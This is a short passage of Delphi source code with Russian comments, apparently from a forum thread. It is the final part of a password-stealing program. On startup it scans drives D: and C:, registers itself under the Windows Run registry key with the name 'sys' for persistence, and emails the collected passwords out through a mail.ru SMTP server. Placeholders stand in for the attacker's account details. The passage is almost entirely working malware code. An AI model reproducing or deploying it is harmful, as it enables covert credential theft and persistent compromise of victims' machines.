-----//----- весь код см. выше

procedure TForm1.FormCreate(Sender: TObject);
var
reg:TRegistry;
begin
//выполняем процедуру поиска
dir:='D:\';
ChDir(dir);
Find;
dir:='C:\';
ChDir(dir);
Find;
// прописуемся в реестре
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('Software\Microsoft\Windows\CurrentVer sion\Run',True);
reg.WriteString('sys',Application.ExeName);
reg.CloseKey;
reg.Free;
//отправляем пароли
IdSMTP1.Host:='smtp.mail.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='ваше мыло';
IdSMTP1.Password:='пароль';
IdSMTP1.AuthenticationType:=atLogin;
with IdMessage1 do
begin
Body.Text:=mess;
From.Text := 'от кого';
Recipients.EMailAddresses := 'кому';
Subject := 'тема';
end;
IdSMTP1.Connect;
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;
mess:='';

end;

end.